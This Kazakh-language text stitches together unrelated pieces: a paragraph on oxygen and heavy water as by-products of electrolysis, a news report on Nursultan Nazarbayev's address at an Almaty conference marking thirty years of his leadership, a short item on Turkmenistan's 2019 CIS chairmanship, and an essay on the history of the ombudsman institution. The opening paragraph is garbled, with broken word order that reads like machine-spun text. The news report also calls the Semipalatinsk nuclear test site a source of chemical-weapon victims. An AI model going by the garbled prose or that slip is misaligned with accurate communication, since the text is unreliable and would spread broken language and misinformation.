Барлық процестерінде сутегі алу разложением судың жанама өнім ретінде алып отыратын болады айтарлықтай санын оттегі. Бұл жаңа ынталандыру шараларын қолдану. Ол өз орнын табады тек жылдамдатқыш технологиялық процестерді, бірақ таптырмайтын тазалағыш және сауықтыру су қоймалары, өнеркәсіп ағындыларын. Бұл сала пайдалану оттегінің болуы мүмкін таралған атмосфераға, топыраққа, суға. Жағуға әдемілейді өсіп келе жатқан санын тұрмыстық қалдықтарды алады проблемасын шешуге қатты қалдықтарды үлкен қалалар.
— Тағы бағалы жанама өнімі электролиз су болып табылады, ауыр су – жақсы замедлитель нейтрондар атом реакторларында. Сонымен қатар, ауыр су ретінде пайдаланылады шикізат алу үшін дейтерий, ол өз кезегінде шикізат болып табылады үшін термоядролық энергетика. |
Еліміздің Тұңғыш Президенті Нұрсұлтан Назарбаев Алматыда өткен «Кемеңгерліктің 30 жылы» атты халықаралық ғылыми-тәжірибелік конференцияда осылай деді. Үлкен орта және кіші буын өкілдеріне де өсиет қалдырды. Жиынға Мемлекет басшысы Қасым-Жомарт Тоқаев та қатысты. Нұрсұлтан Назарбаев еңбек жолында кездескен қиындықтар жайлы да әңгіме өрбітті. Соның ішінде ұлттық экономиканың қирауы, этносаралық қақтығыстардың пайда болу қаупі сынды мәселелер бар.
Рауан Мыңбаев тілші:
- Қазақстандық және шетелдік мемлекет қайраткерлері, қоғам белсенділері, тәуелсіздік жылдары Елбасымен бірге тынымсыз еңбек етіп, ел еңсесін тіктеуге атсалысқандар. Бұл күні Алматы қаласы әкімдігінің ғимаратында сол 90-шы жылдардың көрінісі қайта жаңғырды. Тәуелсіз елдің өткені мен бүгіні толық таразыланды. Ең алдымен бұған әкімдік ғимаратының өзі түрткі болды. Себебі Алматыны тәуелсіздігіміздің «алтын қазығы» десек, сол еңселі егемендіктің орнауы осы нысаннан бастау алды.
Кез келген елдің бірегей тарихы болады және сол жолда көшбасшылық қасиетімен танылып, мемлекетін дамытудың даңғыл жолына салатын тұлға кездеседі. Осы тарихи міндетті абыройлы атқарып, халық сеніміне ие болғандардың бірі – Елбасы Нұрсұлтан Назарбаев. Естен кетпес 1989 жыл. Тұңғыш Президент конференция аясында сол сындарлы кезеңді бейнелейтін көрмені аралады. Мұнда өткен 30 жылда еңсерілген қиындықтар мен тарихи табыстар көрініс тапқан.
Нұрсұлтан Назарбаев, Қазақстан Республикасының Тұңғыш Президенті – Елбасы:
- Естен кетпес 1989 жыл уақыт өткен сайын алыстап барады. Біз тәуелсіз елдің іргесін қаладық. Жастарды көріп отырмын. 30 жыл бойы бәріміз жастар үшін қызмет еттік. Мен жастарды көргеніме өте қуаныштымын.
Нұрсұлтан Назарбаев осыдан 30 жыл бұрын 22 маусымда Қазақстан коммунистік партиясының бірінші хатшысы болып сайланды. Бұл сол кезеңде еліміз үшін көптен күткен оқиға болды. Халық Нұрсұлтан Назарбаевқа бірауыздан қолдау білдірді. Ал Тұңғыш Президент елдің қалауын орындай білді. Сөз жүзінде айту оңай, алайда іске келгенде бәрі қиын болғаны белгілі. Еліміз бойынша 130 кәсіпорын тоқтап, 2 млн адам жұмыссыз қалған кезеңде көршілес мемлекеттердің бағаны еркін айналымға жіберуі жағдайды тіпті қиындатып жіберді.
Нұрсұлтан Назарбаев, Қазақстан Республикасының Тұңғыш Президенті – Елбасы:
- Многие присуствующие здесь думаю хорошо помнит когда зарплату выдовали по товаром. Во многих городах кипятили горячую воду. Второе, риск межотношение. Проживали 100 этносов. И мы хорошо помним. В разных частах были конфликты.
Елдің ішінде де қарама-қайшылық көп еді. Елбасын ең қынжылтқан мәселе демографияның нашарлауы болды. Қазақстанда тұратын қазақ ұлтының өкілдері 40% жетпейтін. Мектептердің басым бөлігі орыс тілінде білім берді. Өмір сүру ұзақтығы болса тым төмендеп кетті. Ұлтаралық араздық та сол жылдары өршіп тұрды. «Бүгінгі ұрпақ бұл қиыншылықтарды білуі керек», – деді Нұрсұлтан Назарбаев. Ал Семей ядролық полигонының жабылып, Арал теңізі мәселесіне баса көңіл бөлінуі ұмытылмауы қажет. Себебі екеуінің де қазақ халқына тигізген зияны көп болды. Бірі ұрпағымызды химиялық қарудың құрбаны етсе, енді бірі атадан мирас болған кәсіптен мәңгілік қол үзуге итермеледі. Дегенмен соңғысы қайта қалпына келе бастады. Бұл іс Тұңғыш Президенттің Арал халқына жасаған ең басты жақсылығы.
Нұрсұлтан Назарбаев, Қазақстан Республикасының Тұңғыш Президенті – Елбасы:
- А вспомните, сколько критики было внутри страны, сколько я выслушал разных обвинений? Но в результате наших усилий Казахстан превратился из отсталой периферии в наиболее успешное в экономическом плане государство, ставшее лидером развития на всем пространстве СНГ.
Өткеніміз бен бүгінімізді екшейтін тағы бір дерек. Тәуелсіздік алған жылы еліміздің ЖІӨ 11 млрд доллар болса, қазіргі көрсеткіш 170 млрд-тан асып отыр. Мемлекеттің алтын валюталық қоры да 90 млрд долларға жетті. Ал шетелден тартылған тікелей инвестиция одан 3 есе көп.
Нұрсұлтан Назарбаев, Қазақстан Республикасының Тұңғыш Президенті – Елбасы:
- На сегодня каждый второй проданный в РК автомобиль производится в Казахстане. Стало производиться 500 новых продуктов, которые Казахстан никогда не производил. По конкурентоспособности мы в числе 50 стран мира. Растет МСБ, сегодня он составляет 27%. В 1990 году 40% населения находилось за чертой бедности. Этот показатель снизился до 4%.
Қазір елде кедейшілік 4% төмендеді. Бастапқыда 40% болатын. Мұның өзі тәуелсіз мемлекет беделін айшықтай түседі. «Бірақ мұндай деңгейге халықтың бірлігінсіз жету мүмкін емес болатын», – деді Елбасы
Нұрсұлтан Назарбаев, Қазақстан Республикасының Тұңғыш Президенті – Елбасы:
- Қазақстан халқының саны 3,5 млн адамға көбейді. Енді біз 18 млн-нан астық, ал қазақтар соның 70% жуығын құрайды. Кезінде шетелге кетуге мәжбүр болған 1 млн-нан астам қазақ Отанына оралды. Еліміздегі орташа өмір сүру ұзақтығы 1991 жылы 67 жастан 2018 жылы 73 жасқа дейін артты. Бір адамға арналған тұрғын үй алаңы 1,5 есе, яғни 14 шаршы метрден 22 шаршы метрге дейін өсті.
Қазақ тілінің мәртебесі асқақтап, басты құндылығымыз қайта қалпына келгеннен кейін «Рухани жаңғыру» бағдарламасы да қолға алынды. Оның астары – қоғамдық сананы түбегейлі өзгерту. «Яғни жас ұрпақты заманауи ойлау қабілетіне бейімдеу», – деді Нұрсұлтан Назарбаев. Оның «Ұлы даланың жеті қыры» атты мақаласында да сол жастардың өткен тарихына қайта көз салып, бабалар жүрген соқпақты жаңғыртуға баса көңіл бөлінді.
Ұлы дала жерінің ерте заманнан сауда жолы болғаны белгілі. Сол арқылы халқымыз батыс пен шығысты, солтүстік пен оңтсүтікті жалғады. Кейін сол дәстүр үзіліп қалды. Нұрсұлтан Назарбаев «Нұрлы жол» мемлекеттік бағдарламасы арқылы осы тарихи әділеттілікті қайта орнатты. Ал елорда барша қазақстандықтың бойтұмарына айналды.
Нұрсұлтан Назарбаев, Қазақстан Республикасының Тұңғыш Президенті – Елбасы:
- Впервые в своей многовековой истории Казахстан, казахи, выбирали место своей столицы и построили эту прекрасную столицу, о чем вообще могли ли мы мечтать 30 лет назад.
Елбасы бастап, халық қоштап жеткен жетістіктердің тағы бірі – әлемде 9-орын алатын ұлы дала шекарасының шегенделуі. Көршілес жатқан мемлекеттермен осы мәселе шешімін тапты. Елбасы Азиядағы ынтымақтастық және өзара іс-қимыл, ШЫҰ сынды бірлестіктердің құрылуына ықпал етіп, кейін оларды экономикалық интеграцияға айналдыра білді. ЕАЭО да солардың жалғасы. Алда еліміз бағындыруы тиіс бұдан да биік белестер бар. «Бұл – техникалық жаңғыру, жасанды зияткерлікті күнделікті өмірде қолдану, жаңа энергия көздерін іздеуде көш соңында қалмау», – деді Елбасы.
Нұрсұлтан Назарбаев, Қазақстан Республикасының Тұңғыш Президенті – Елбасы:
- Қазақ халқы бірліктің арқасында елін сақтап қалғаны мәлім. Қазақты бодан ету үшін жүз-жүзге бөліп, айлакерлікпен жаулап алған. Қазір біздің байлығымызға қызығатындар көп. Ондайда жетекке еретіндерді іздейді. Ең үлкен қауіп осы. Жастар Отанынан айырылып қалатынын түсінбейді. Біз соны түсіндіруіміз керек. Тұтастықтықты сақтап қалу үшін барлық шараға бару керек.
Төңкерістің соңы қантөгіс екенін тарихтың өзі дәлелдеп берді. Тұңғыш Президенттің айтпағы осы. Бұған расымен де мысалдар көп. Жер жаһанның әр қиыры аумалы-төкпелі кезеңді бастан кешіріп жатыр.
Қасым-Жомарт Тоқаев, Қазақстан Республикасының Президенті:
- Қазіргі заманның қарқыны мүлдем өзгеше. Сондықтан дәл осы тарихи межеде Елбасы айқындап берген межеге адал болып, Қазақстанның өркендеуі үшін еңбек ету басты мақсат деп түсіну қажет. Осы маңызды жиында Елбасымен жылдар бойы қызмет еткен үзеңгілестері отыр. Елбасының еңбек жолы – тәуелсіз елдің жылнамасы. Сол кездегі Қазақстанның жарқын келешегіне күмәнмен қарағандар көп болды. Дегенмен теріс болжамдар орындалған жоқ.
Елбасы бастамасымен жеткен жетістіктерге шетелдік мемлекет қайраткерлері де тоқталды.
Давэй Пан, ҚХР Шанхай ғылым академиясы Ресей және Орталық Азия бойынша зерттеулер орталығының директоры:
- Нұрсұлтан Назарбаев 30 жылдық қызметінде нағыз көшбасшы екенін дәлелдеді. Жақында өткен Президент сайлауы оның сарабдал саясаткерлігін айғақтады. Билік тізгіні бейбіт жолмен ауысты. Яғни Нұрсұлтан Назарбаев өз халқын табысқа жетелей білді. Оның саясаткерлігіне халықаралық қауымдастықта да жоғары баға берілді.
Михаил Липкин, Ресей ғылым академиясы жалпы тарих институтының директоры:
- Нұрсұлтан Назарбаевтың кеңес кезінен қалған тәжірибесі мен өзекті мәселелерді шешу кезіндегі тапқырлығын ерекше атап өтер едім. Владимир Путин айтқандай, ол үнемі жарқын болашаққа ұмтылып тұрады және жанына жас мамандарды ертіп жүреді. Бұл – көшбасшылық қабілет.
Ариэль Коэн, саясаттанушы:
- Джордж Вашингтон, Кемаль Ататүрк секілді қайраткерлер елінің болашағына өзінің өмірін арнады. Оңтүстік Африкада Нельсон Мандела, Изралиьде Давид Бен-Гурион халқын жетістікке жетеледі. Нұрсұлтан Назарбаевты олармен көп нәрсе байланыстырады. Ол – осы елдің негізін қалаушы. Қарапайым отбасынан шыққан азамат еді. Қазір тұтас ұлттың көшбасшысына айналып отыр.
Конференцияға қатысушылар бұл пікірмен толықтай қосылады әрі Тұңғыш Президенттің тарихи рөліне жан-жақты баға береді. Дегенмен түпкілікті ой мен қорытынды түйін біреу, ол – осы ел бағындырған белестердің Елбасы есімімен тікелей байланыстылығы. Алайда Нұрсұлтан Назарбаев бұл жолда халықтың қолдауы маңызды рөл атқарғанын атап өтті. Демек, халық пен билік арасында орнаған берік байланыс өз нәтижесін берді.
Авторлары: Рауан Мыңбаев, Жандос Битабаров, Дулат Ентебеков, Хасен Омарқұлов, Алмас Омарғалиев
Тегтер: # Алматы # Тұңғыш Президент # Нұрсұлтан Назарбаев # Кемеңгерліктің 30 жылы # халықаралық ғылыми конференция |
2019 жылы ТМД-ға төрағалықты Түрікменстан атқарады. Бұл туралы ҚР Сыртқы істер министрлігінде өткен брифинг барысында ҚР СІМ ресми өкілі Айбек Смадияров мәлім етті, деп хабарлайды ҚазАқпарат.
«28 қыркүйекте Қазақстан Президенті Нұрсұлтан Назарбаев Тәжікстан Республикасының төрағалығымен Душанбеде өткен ТМД Мемлекет басшылары кеңесінің кезекті отырысына қатысты. Кездесу барысында ТМД мемлекеттерінің басшылары достастық аясындағы өзара іс-қимыл жөнінде пікір алмасып, ұйым қызметінің тиімділігін арттыру мәселелерін қарастырды. Мәдени-гуманитарлық салада ТМД мемлекеттерінің басшылары Шыңғыс Айтматовтың 90 жылдығына арналған және Дүниежүзілік Көшпенділер ойындары туралы бірлескен мәлімдемелер қабылдады», – дейді Айбек Смадияров.
Оның айтуынша, Екінші дүниежүзілік соғыстағы жеңістің жетпіс жылдығын тойлау 2020 жылы өтеді.
«Осыған орай Мемлекет басшылары саммит барысында ұйымдастырушылық шараларды, сондай-ақ Отан қорғаушыларды мәңгі есте қалдыру шаралары бойынша 1941-1945 жылдардағы Екінші дүниежүзілік соғыс қатысушылары мен оларға теңестірілген адамдарды әлеуметтік қорғауды көздеген бірлескен іс-шаралар жоспарын қабылдады. Сондай-ақ қабылданған шешімге сәйкес 2021 жылы «ТМД Мәдени астаналары» атты мемлекетаралық бағдарлама Тәжікстан Республикасында іске асырылатын болады», – деді ол.
Айбек Смадияров сондай-ақ, отырыс барысында Мемлекет басшылары екі халықаралық шартқа, ТМД-ға қатысушы мемлекеттердің ғарыш кеңістігін бейбіт мақсаттағы зерттеу және пайдалану саласындағы ынтымақтастық туралы конвенцияға және ақпараттық технология саласындағы ынтымақтастық туралы келісімге қол қойған.
«2019 жылы ТМД-ға төрағалықты Түрікменстан атқарады. Осыған байланысты ТМД Мемлекет басшылары кеңесінің кезекті отырысы 2019 жылы 19 қазанда Ашхабад қаласында өтеді», – деді Айбек Смадияров. |
Адам құқықтары көптеген мыңжылдықтар бойы адамзаттың басты назарында болды. Жеке тұлғалар мен биліктің өзара қатынас əдістерін іздеу үрдісі тұрақты түрде жүріп отырды. Адам құқықтарының мəселесі өмірге, ар-намысқа, тұлғаның қол сұғылмаушылығына, нанымның бостандығына құқығы адам өмірінің қажетті шарты болғандықтан, əрқашанда өткір таптық шайқастардың, əр түрлі соғыстар мен көтерілістердің себепшісі болды. Адамзат дамуының əрбір са- тысында жаңа ұрпақ, өзінің құқықтарын қорғай отырып, субъектілерге таралған бостандық шеңберін кеңейту жəне мемлекеттік органдар мен лауазымды тұлғалардың тарапынан туындайтын немқұрайлық əрекеттерін шектеуге қол жеткізуге талпынғандығы сирек емес.
Адам құқықтары қоғам мен мемлекеттің тіршілік етуінің барлық салаларында көпқырлы мүдделерге ие тұлға болған барлық жерлерде құқықтық қорғануды талап етеді. Мемлекеттің адам құқықтарын қамтамасыз ету сəтінде туындаған міндеттерді жүзеге асырудың басты құралдарының бірі ретінде қоғамдағы тұлға құқықтарын жан-жақты сақтау, сонымен қатар оларды бұзылу мезетінде заңды əдістермен қорғау мүмкіндігін құрайтын шарттарды туғызу болып қарастырылады. Азаматтардың құқықтары мен заңды мүдделерін мемлекеттік басқару органдарының немқұрайлықтары мен шендердің билікпен қиянат етуінен қорғау механизмдердің ішінен ерекше орынға омбудсмен институты ие.
Скандинавиялық текті заңды феноменнің ерекшеліктерін талдау екінші дүниежүзілік соғыстан кейін əлемнің көптеген елдерінде басталды.
Омбудсмен алғаш рет 1809 жылы Швецияда құрылды, бірақ екінші дүниежүзілік соғыстан кейін ол əр түрлі құқықтық жүйелер мен басқару нысандарына ие мемлекеттермен заңды тұрғыдан мойындалды. Бұл барлық елдер бюрократиямен күресу мəселелермен кездесетіндігімен түсіндіріледі. Сонымен қатар олар тұрақтылықты сақтау мақсатында мемлекет пен азаматтың арасындағы шиеленісті төмендетуге мүдделі. Атқарушы билік əрекетін ұйымдастыратын масштабтардың ең үлкені — мемлекетте. Мемлекеттің əкімшілік қызметтерін кеңейтумен Омбудсмен институтының кеңеюі оның дүниежүзінің елдерінің көбінде конституциялық-саяси жүйеге енуімен түсіндіріледі. Мемлекеттік-əкімшілік органдар мен азаматтар арасындағы қақтығыстардың пайда болуына, сондай- ақ мемлекеттік аппарат қызметкерлерінің санының тұрақты өсуі, құқық нормалар мен ережелердің үлкен мөлшері де, атқарушы биліктің əрекетінде парламенттің ақпараттық жеткіліксіздігі де əкімшілік соттардың шамадан артық əрекетіне де т.б. əсер етті.
Швецияда, Финляндияда (1919), Норвегияда (1952), Данияда (1953) адам құқықтары жөніндегі уəкілді парламенттік омбудсмен деп, Ұлыбританияда (1967) — парламенттік комиссар, Кипрда (1991) — əкімшілік істер жөнінде комиссар, Нидерландыда (1983) — ұлттық омбудсмен, Грецияда (1969) — азаматтардың қорғаушысы, Австрияда — халықтың қорғаушысы, Испанияда (1978) — халықтың қорғаушысы, Македонияда (1991) — ұлттық құқық қорғаушы, Молдавияда (1997) — парламенттік адвокат, Польшада (1987) — азамат құқықтары жөнінде өкіл, Францияда (1973) — Франция Республикасының делдалы, Португалияда (1976) — сот төрелігі істері жөнінде уəкіл (проведер) деп атайды. Омбудсмен институты мемлекеттерге əр түрлі аталса да, бір мағынаға ие — мемлекеттегі шенеунік тарапынан билікпен қиянат ету мен немқұрайлық əрекеттерден адам құқықтарын қорғау.
ХІХ ғасырдағы қоғамдық қатынастардың өзгеруі Швецияда король мен парламенттің кең өкілеттіктерін теңестіретін конституциялық нормаларды туғызды. Соңғысына парламент пен басқа да билік органдарының заң актілерін сақтауын бақылайтын арнайы парламенттік комиссарды (омбудсменді) сайлау құқығы берілді. Басынан бастап бұл орган атқарушы билік пен басқа да органдардың əрекетін конституциялық бақылау қызметтеріне ие болды. Сонымен қатар ол əкімшілік тарапынан туындайтын немқұрайлықтан азамат құқықтарын қорғауды жақсартуға мүмкіндік туғызды [1].
«Омбудсмен» — швед сөзі, басқа тұлғалардың адвокаты, агенті, сондай-ақ өкілі болатын тұлғаны білдірді. Біреулер бұл термин неміс тегінен шықты деп есептесе, басқалары исландиялық тамырлары бар деп көзқарастарын білдірді. Теоретикалық тұрғыдан қарағанда, «омбудсмен» термині жинақтаушы ұғым болып табылады, яғни адам құқықтарын қорғаудағы арнайы қызметті білдіретін топтық түсінік ретінде қарастырылады. Мемлекеттік-құқықтық мағынада омбудсмен жеке тұлғалардың құқықтарын қорғауға парламентпен құзырет берілген жəне барлық мемлекеттік лауазымдарға кең бақылау жүргізуді жүзеге асыратын тəуелсіз тұлға деп танылады.
Омбудсмен институтының пайда болуына ХІХ ғасырдың басындағы қоғамдық қатынастардың либерализациясы себеп болғандығы анық (бұл Швециядағы конституциялық нормаларды тудырды). 1809 жылы Рикстаг (мемлекеттің парламенті) парламентке арнайы парламенттік комиссарды (омбудсменді) сайлау құқығын беретін басқарушылық құжатты қабылдады. Оған сəйкес арнайы парламенттік комиссар король мен парламенттің кең өкілеттіктерін теңестіру үшін парламент пен биліктің басқа органдарының заң актілерді сақтайтынын қадағалауды жүзеге асырады. 1809 жылы Швецияда күшіне енген конституциялық құжаттар бұрын ұқсастығы болмаған лауазымды riskens standlers justitie — ombudsman деп көрсетеді. Кейін мемлекеттік органдардың бұндай құрылымы екі палаталы парламентпен ауысқандықтан, көрсетілген атау justitie — ombudsman дегенге ауысты.
«Омбудсмен» түсінігінің өзі umbup дегеннен шықты. Швед тілінде бұл күш, немесе абыройды, білдірді. 1919 жылдан бастап осындай органдар басқа елдерде де құрылып, құқықтық бақылау жүйесіне енді. Буржуазиялық құқықта бұл парламенттік жəне соттық бақылау деп, сонымен бірге əкімшілік органдарды бақылау деп сипатталды. Бұндай институтқа қажеттілік, ең алдымен, қоғамда бар институттардың мемлекеттік бақылауы, бақылау міндеттері көлемінің қоғам мүшелерінің, барлығын қанағаттандырмағанда туындады. Бұл уақытта «демократиялық мемлекеттегі əкімшілік немқұрайлыққа қарсы» азамат құқықтарын қосымша қорғау қажеттілігі пайда болады. Финляндия, Швецияның бірінші көршісі ретінде, Омбудсмен институтын 1919 жылдың 17 шілдедегі Конституциясына енгізді. Ұқсас құрылым 1953 жылы Данияда да ашылды. Онда құқықтық жүйе англо-американдық жəне еуропалық континенталды құқықтық мəдениетіне жақын болғандықтан, омбудсменнің дания моделі дүние жүзінде ең үлкен мəнге ие. Норвегиялық омбудсмен лауазым ретінде 1952 жылы 21 сəуірдегі парламенттің шешімімен енгізілді. Алғашқы кездерде ол тек қарулы күштерге бақылауды жүзеге асырды. 1962 жылы осындай орган азаматтық əкімшіліктің əрекетін бақылау үшін құрылған [2].
1967 жылы Ұлыбританияда омбудсмен лауазымын құру үшін халықтың наразылығы, бюрократия тарапынан өскен қысым жəне құқықтық қорғау құралдарының тиімсіздігі негіз болды. Бастапқыда күшейту мəселесін шешу арнайы əкімшілік трибуналдың санын көбейту сияқты əдістер арқылы жүзеге асырылды.
Бірақ, тəжірибе көрсеткендей, қатаң бақылау қажет. Халықаралық құқық комиссиясының британдық бөлімшесімен дайындалған «Whyatt Report» баяндамасы британдық жағдайларға бейімделген Омбудсмен институтын құруды ұсынды. Лейбористік үкімет бұл ұсыныстарды қолдап, 1967 жылы Ұлыбританияда Омбудсмен (парламенттік уəкіл — Parliamentary Commissioner) институтының құрылуы жөнінде заң қабылданды. Омбудсменнің бақылау шеңбері басында тым шектеулі болды. Билік органдары 55 млн. тұрғыны бар елде шағымдардың көп болуынан күдіктенді. Сондықтан да жергілікті органдар бақылаудың объектісіне кірмеді, сонымен бірге оның қызметтері шектелді. Испанияның 1981 жылғы заңы бұл институтты, португалиялық жəне француз үлгілерін қолдана отырып, конституциялық-саяси жүйесіне енгізеді. Аймақтық омбудсмендер Швейцарияда, Бельгияда, Италияда əрекет етеді. Бұл институт Гаяна, Мавриний, Фиджи аралда т.б. дамып келе жатқан елдерде де таралды.
Омбудсмен институтының қалыптасу мен таралу үрдісінде дүние жүзінде бұл мəселе бойынша халықаралық дебаттар белсенді түрде өтті. Көптеген халықаралық ұйымдар да азаматтардың құқықтары мен бостандықтарын, сондай-ақ заңдылықты сақтау мақсатымен мемлекеттік əкімшіліктің немқұрайлығын тоқтатудың соттан тыс шараларын қолданудың бұндай мүмкіндігін көңілсіз қалдырмады. Бұл ұйымдар омбудсмен институтын осы мақсатта жүзеге асыру үшін қолайлы құрал ретінде есептеледі деген ой қалыптасады. Еуропа Кеңесінің Бас хатшысы жыл сайын барлық еуропалық елдердің омбудсмендері бұл мəселемен айналысатын жəне мақсаты Еуропа елдерінің омбудсмен институтын жетілдіру, осы институт жоқ құқық жүйелеріне игі ықпалды күшейту жəне халықаралық қызметтестікті қолдау деп танылатын белгілі заңгерлер мен ғалымдар қатысатын
«дөңгелек үстелді» ұйымдастыруы бұған мысал бола алады. Идеяның қарсыластары тəуелсіз омбудсменнің бақылауы министрлік жауапкершілік қағидасымен (себебі министр парламенттің алдында оның аппаратына ие болатындығы үшін жауапты болып табылады) жəне парламенттік демократияда əкімшіліктің орталық саяси бағытпен дауласады деп сендірді. Бірақ Данияда омбудсмен институты енгізілгеннен соң, омбудсмен мен министрлер арасында даулар туындамады. Демек, бұл аргумент өзінің қолдауын тапқан жоқ. Сонымен қатар омбудсменді енгізуге қатысты қарсылықтар еуропалық елдерде əдетте азамат құқықтарының заңдылығын сақтауды қамтамасыз ететін əкімшілік соттардың кең құрылымы бар болғандығында құралады.
Бірақ əкімшілік əділеттіліктің жақсы дамыған жүйесіне ие Франция 1973 жылы заңымен делдал (медиатор) лауазымын — омбудсменді енгізді. Бұл лауазымды енгізу екі мəн-жайға байланысты болды, олар: реформа мен парламенттік сайлау.
1987 жылы Польша Шығыс Еуропалық елдердің ішінен өзінің саяси-құқықтық жүйесіне омбудсмен институтын енгізді: азамат құқықтарын құқық қорғаушысы туралы жеке заң 1988 жылы күшіне енді. Бұл орган елдегі болған азамат құқықтары мен заңдылықтың сақталуын бақылау жүйесімен қарама-қайшылыққа түспей, қоғамдық қатынастардың кейінгі демократиялануы міндеттеріне, азаматтардың билік органдары мен əкімшіліктің құрылымдарымен іскерлік қатынастарын бекітуге, жағымсыз құбылыстармен күресуге қызмет етуі тиіс. Польшадан кейін конституциялық өзгерістердің шегнінде 1989 жылы азамат құқықтарының қорғаушысы лауазымын Венгрияда құрып алды [3].
1991 жылдың қазанында Парижде адам құқықтары жөнінде БҰҰ комиссиясының көмегімен адам құқықтарын қорғайтын 35 ұлттық мекеменің қатысуымен халықаралық конференция өтті.
1992 жылғы Маастрихтік шарты Еуропалық Одақ органдары жүйесіне омбудсмен институтын енгізді. Еуропа Кеңесі оның адам құқықтары жөніндегі комиссары лауазымын құрды. БҰҰ-ның Бас Ассамблеясы 1993 жылы адам құқықтарын қорғау мақсатында мемлекеттерде халықаралық үлгілердегі адам құқықтары бойынша ұлттық ұйымдарды енгізу қажеттілігі жөнінде қорытындыларды (кейін «Париждік қағидалар» деп аталынған) бекітті. Париждік қағидалар омбудсмен институты Конституцияға немесе арнайы заңға сəйкес құрылуы қажет екенін, сондай-ақ тəуелсіз, жақсы юрисдикцияға ие, қол жетерлік болатын, басқа да үкіметтік емес құқық қорғаушы ұйымдармен қызметтес жəне есепті болу керек екенін анықтады.
Қазақстан Республикасы қатысқан 1993 жылдың адам құқықтары бойынша дүниежүзілік конференцияда адам құқықтары жөнінде ұлттық институттарды құру жəне Париждік қағидаларды сақтау қажеттілігін белгіледі.
Социалистік елдердің ішінен ең ірі болған Ресей, 1993 жылғы жаңа Конституциясының 103- бабында алғаш рет омбудсмен лауазымын қарастырды. Ол «адам құқықтары бойынша уəкіл» деген атаумен 1994 жылдың 17 қаңтарында Мемлекеттік думамен тағайындалды. Шамамен сол уақытта, 1994 жылдың 11 қаңтарында, Литва Республикасының Парламенті де парламенттік омбудсмендер туралы заңды қабылдады. Кейін Грузияның жаңа Конституциясында «адам құқықтарын халық қорғаушысы» атауына ие болған омбудсмен лауазымы енгізілді, ал 1996 жылдың мамырында халық қорғаушысы жөнінде заңды қабылдады.
Омбудсменнің одан да тиімді жұмысы үшін, ең алдымен оның əрекеті жүзеге асырылатын оңтайлы шарттарды құра отырып, мемлекеттік басқару органдардың ұйымдастырылуы мен нақты қызмет ету мəселелерін шешу қажет. Тек осыдан кейін омбудсмен жұмысының жағымды нəтижелерін күтуге болады. Мысалға, скандинавиялық омбудсмендер, шығыс еуропалық елдерге қарағанда, əріптесі мен қарсыласы ретінде жоғарғы ұйымдастырушылықпен, кəсіби тиімділік пен жауапкершілікпен сипатталатын мемлекеттік басқару органдар болатын жүйенің шегінде əрекет етеді. Бұл жағдайда Омбудсмен институты жетекшіліктің қызметін бақылау механизмінің бөлігі ретінде қабылданады жəне заңдылықты қамтамасыз ету мен азаматтардың құқықтары мен бостандықтарын қорғауда нақты орынға ие екені түсінікті. Оның жетістігі демократиялық дəстүрлер мемлекеттік органдар қызметкерлерінің дамыған кəсіби этика мен жоғарғы моралдық белгілер сияқты факторларға байланысты, сондай-ақ бұл шарттар институттың тиімді қызмет етуі үшін қажетті алғы шарты болады.
Омбудсмен шешетін міндеттер, сөзсіз, маңызды болып табылады, бірақ ол бір мезгілде қандай да бір жолдармен шектелген. Ең алдымен, омбудсмен өзінің əрекеттерін жүзеге асыруда ағартушылық əдісті қолданатындығын белгілеу қажет (заңдарды қолдану туралы ақпаратты тарату, құқықтық мəдениет пен қоғамдық құндылықтар жөнінде ойлардың дəріптелуі). Сəйкесінше, омбудсмен өзінің мақсатына жетуі үшін басқарушылықтың қоғамдық органдар мен заңдылықты қамтамасыз ету органдарының қызметін бақылаудың басқа да «классикалық» құралдардың нақты жəне дұрыс қолдануы талап етіледі (парламенттік бақылаудың əр түрлі түрлері, ішкі немесе инстанциялық бақылау). Адамға деген тұлғаның ар-ождан мəселесіне қызығушылық қазіргі қоғамдағы демократизмнің негізгі көріністерінің біріне айналды. Қазақстан дүниежүзінен қауымдастықтың толық құқылы мүшесі болып, өзінің Конституциясында адамдарды мемлекеттің жоғарғы əлеуметтік құндылығы деп жариялады, сонымен қатар адамның табиғи құқық теориясын таныды. Қазақстан Республикасы Кеңестер кезінде маңызды болған тұлға мүддесіне қатысты мемлекет мүдделерінің артықшылығынан бастартты. Мемлекет барлық тыйым салынбаған құралдармен құқықтар мен бостандықтардың жəне билікті шектеудің сыртқы механизмін шынайы жүзеге асыруын кепіл етуі қажет. Осыған сəйкес мемлекет пен мемлекеттік қызметкерлер тарапынан билікпен қиянат етуге қарсы жаңа құқық механизмдерді құру, болғандарды жетілдіру жүзеге асырылып жатыр, сондықтан да Қазақстан Республикасы үшін дүниежүзіндегі елдердің көбінде, ал XX ғасырдың 90-жылдардың ортасынан бастап ТМД мен Балтия елдерінің (Əзербайжанның, Грузияның, Молдованың, Латвияның, Ресейдің, Украинаның, Өзбекстанның, Қырғыстанның) құқықтық жүйелерінің жетістігі болған Омбудсмен институтын ұсына бастады. Мемлекеттердің омбудсмен үлгісіне байқау салуы азамат құқықтарын мемлекеттік органдар тарапынан туындайтын бұзушылықтардан қорғанысты күшейту ниетімен түсіндіріледі [4].
Дүние жүзінде мемлекеттік əрекеттердің күшейген санына қарамастан, омбудсмен əкімшілікке бұқаралық сенімнің өсуіне жағдай жасайды деп танылған. Реңсіз бюрократтармен ұсынылған жасырын мемлекет одан сайын ізгілендірілген. Омбудсменнің көмегімен азаматтардың шағымдары тіпті шамалы шығындарда да тиімді шешіледі, лауазымды тұлғалардың əрекеттеріне нақтылап түсіндіру нысанында арыздалған талапқа тез жауап қамтамасыз етіледі. Адамдардың мемлекеттік қызметкерлермен əрекеттесуде одан да аз үрей туындайды, ақырғыларда аса міндеттілік жəне зейінділік белгілері ұлғаяды. Омбудсмен түрінде болған «қауіпсіздік» торы қателіктерді ұстап, қауіпті əділетсіздіктер мен əкімшілік кемшіліктерге жарық түсіреді. Омбудсмен институты қоғамдық ойды тыныштандырады жəне лауазымды тұлғалардың анықталған бұзушылықтары түзетіледі деген сенімді қостайды.
Көптеген мемлекеттер атқарушы омбудсмендердің қызметтерін құрды. Францияда ол Үкіметпен тағайындалады. Францияның медиаторымен орындалатын əкімшілік емес мəні оны атқарушы билікке жатқызуға мүмкіндік туғызбайды.
Заңның негізінде мемлекеттердің басшыларымен, Президенттермен тағайындалатын омбудсмендер де пайда болды (Ирландия Республикасы, Кипр Республикасы, Ұлттардың Одақтастығының мемлекеттері). Бұл институттың əр түрлі жаңартуларына қарамастан, оның маңызды белгілері болып қызметтік бағыттар мен шешілетін міндеттер болады.
